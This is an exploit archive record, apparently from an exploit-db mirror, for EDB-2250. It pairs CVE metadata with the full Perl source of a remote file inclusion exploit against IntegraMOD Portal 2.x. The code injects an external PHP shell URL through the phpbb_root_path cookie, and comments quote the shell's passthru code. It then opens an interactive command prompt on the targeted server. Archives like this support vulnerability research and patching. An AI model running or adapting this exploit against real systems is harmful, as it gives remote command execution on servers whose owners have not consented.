{"exploit":{"id":"EDB-2250","name":"Integramod Portal 2.x - 'functions_portal.php' Remote File Inclusion (RFI)","description":"Integramod Portal 2.x - 'functions_portal.php' Remote File Inclusion (RFI)","cves":["CVE-2006-4369","CVE-2006-4368"],"author":"nukedx","published":"2006-08-23","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2250","path":"exploits/php/webapps/2250.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2250.pl","vulnerabilities":[{"id":"CVE-2006-4369","state":"PUBLISHED","title":null,"titleSource":null,"description":"Absolute path traversal vulnerability in includes/functions_portal.php in IntegraMOD Portal 2.x and earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via an absolute pathname in the phpbb_root_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4369","cvss":{"version":"2.0","baseScore":2.6,"severity":"low","vectorString":"AV:N/AC:H/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4369"},"updatedAt":"2024-08-07T19:06:07.584Z","retrievedAt":"2026-11-26T21:23:16.056Z","stale":false,"error":null},{"id":"CVE-2006-4368","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in includes/functions_portal.php in IntegraMOD Portal 2.x and earlier allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4368","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4368"},"updatedAt":"2024-08-07T19:06:07.629Z","retrievedAt":"2026-11-26T21:08:31.616Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2250.png?v=2","url":"https://exploitbin.com/exploits/EDB-2250","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2250/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2250/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# Method found and exploit scripted by nukedx\n# Contacts> ICQ: 10072 Web: http://www.nukedx.com MAIL/MSN: nukedx@nukedx.com\n# Original advisory can be found at: http://www.nukedx.com/?viewdoc=47\n#\n# Integramod Portal <= 2.x Remote Command Execution Exploit\n#\n# This exploit comes with it's own php shell setting. If you wanna change it your file must contain this data >\n#\n# <?php\n# echo \"_START_\\n\";\n# ini_set(\"max_execution_time\",0);\n# error_reporting(0);\n# passthru($_REQUEST[command]);\n# echo \"\\n_END_\";\n# ?>\n#\n# Copyright 2006 (C) nukedx\n#\n# Greetz to: WW,xT,php from my team NWPX , str0ke , cha0s , Preddy , Yns , |SaMaN|, Caesar , Ogre and all of my  friends\nuse IO::Socket;\n# Default configuration\n$shell = \"http://hometown.aol.com/yarivgiladi/sh.php\";\n# Checking user settings\nif(@ARGV != 2) { usage(); }\nelse { exploit(); }\nsub header()\n{\n  print \"\\n- NukedX Security Advisory Nr.2006-43\\r\\n\";\n  print \"- Integramod Portal<= 2.x Remote Command Execution Exploit\\r\\n\";\n}\nsub usage()\n{\n  header();\n  print \"- Usage: $0 <host> <path>\\r\\n\";\n  print \"- <host> -> Victim's host ex: www.victim.com\\r\\n\";\n  print \"- <path> -> Path to Integramod ex: /integra/ or just /\\r\\n\";\n  exit();\n}\nsub exploit() {\n  # User variables\n  $host = $ARGV[0];\n  $host =~ s/(http:\\/\\/)//eg;\n  $target = $ARGV[1].\"includes/functions_portal.php\";\n  $good = 0;\n  $c2s = \"command=whoami\";\n  $c2slen = length($c2s);\n  print \"Trying to connect: $host\\r\\n\";\n  $sock = IO::Socket::INET->new( Proto => \"tcp\", PeerAddr => $host, PeerPort => 80) || die \"Connection  failed...\\r\\n\";\n  print \"Connected to victim: $host\\r\\n\";\n  print $sock \"POST $target HTTP/1.1\\n\";\n  print $sock \"Host: $host\\n\";\n  print $sock \"Accept: */*\\n\";\n  print $sock \"Referer: $host\\r\\n\";\n  print $sock \"Accept-Language: tr\\r\\n\";\n  print $sock \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n  print $sock \"Accept-Encoding: gzip, deflate\\r\\n\";\n  print $sock \"User-Agent: NukeZilla\\r\\n\";\n  print $sock \"Cookie: phpbb_root_path=\".$shell.\"?\\r\\n\";\n  print $sock \"Content-length: $c2slen\\r\\n\";\n  print $sock \"Connection: Keep-Alive\\r\\n\";\n  print $sock \"Cache-Control: no-cache\\r\\n\\r\\n\";\n  print $sock $c2s;\n  print $sock \"\\r\\n\\r\\n\";\n  while($result = <$sock>)\n  {\n    if($result =~ /^_END_/)\n    {\n      $good=0;\n      close($sock);\n    }\n    if($good==1)\n    {\n      if (!$whoami) {\n        $whoami = trim($result);\n        print \"Logged as $whoami\\r\\nType exit for exit dont press ctrl+c\\r\\n\";\n      }\n    }\n    if ($good==0)\n    {\n      if ($result =~ /Warning: include_once/) { print \"Sorry victim is not vulnerable...\\r\\nClosing  exploit...\\r\\n\";sleep(3);exit(); }\n    }\n    if($result =~ /^_START_/)\n    {\n      $good=1;\n    }\n  }\n  while()\n  {\n    print \"[\".$whoami.\"@\".$host.\" /]\\$ \";\n    while(<STDIN>)\n    {\n      $cmds=$_;\n      chomp($cmds);\n      last;\n    }\n    if ($cmds =~ /^exit/) { print \"Closing exploit...\\r\\n\";sleep(3);exit(); }\n    else { sendcmd(); }\n  }\n}\nsub sendcmd () {\n  $c2s = \"command=\".$cmds;\n  $c2slen = length($c2s);\n  $sock = IO::Socket::INET->new( Proto => \"tcp\", PeerAddr => $host, PeerPort => 80) || die \"Connection lost...\\r\\n\";\n  print $sock \"POST $target HTTP/1.1\\n\";\n  print $sock \"Host: $host\\n\";\n  print $sock \"Accept: */*\\n\";\n  print $sock \"Referer: $host\\r\\n\";\n  print $sock \"Accept-Language: tr\\r\\n\";\n  print $sock \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n  print $sock \"Accept-Encoding: gzip, deflate\\r\\n\";\n  print $sock \"User-Agent: NukeZilla\\r\\n\";\n  print $sock \"Cookie: phpbb_root_path=\".$shell.\"?\\r\\n\";\n  print $sock \"Content-length: $c2slen\\r\\n\";\n  print $sock \"Connection: Keep-Alive\\r\\n\";\n  print $sock \"Cache-Control: no-cache\\r\\n\\r\\n\";\n  print $sock $c2s;\n  print $sock \"\\r\\n\\r\\n\";\n  while($result = <$sock>)\n  {\n    if($result =~ /^_END_/)\n    {\n      $good=0;\n      close($sock);\n    }\n    if($good==1)\n    {\n      print $result;\n    }\n    if ($good==0)\n    {\n      if ($result =~ /Warning: include_once/) { print \"Sorry victim is not vulnerable or patched!...\\r\\nClosing  exploit...\\r\\n\";sleep(3);exit(); }\n    }\n    if($result =~ /^_START_/)\n    {\n      $good=1;\n    }\n  }\n}\nsub trim($)\n{\n  \tmy $string = shift;\n  \t$string =~ s/^\\s+//;\n  \t$string =~ s/\\s+$//;\n  \treturn $string;\n}\n\n# nukedx.com [2006-08-24]\n\n# milw0rm.com [2006-08-23]","sha256":"6ebe0d76dbf842320dcb84c52ea4d37f8c33c572d9a52ddf40ffa222e2596273","bytes":4273,"fetchedAt":"2026-11-26T21:08:28.419Z","encoding":"utf-8 (display only; download retains original bytes)"}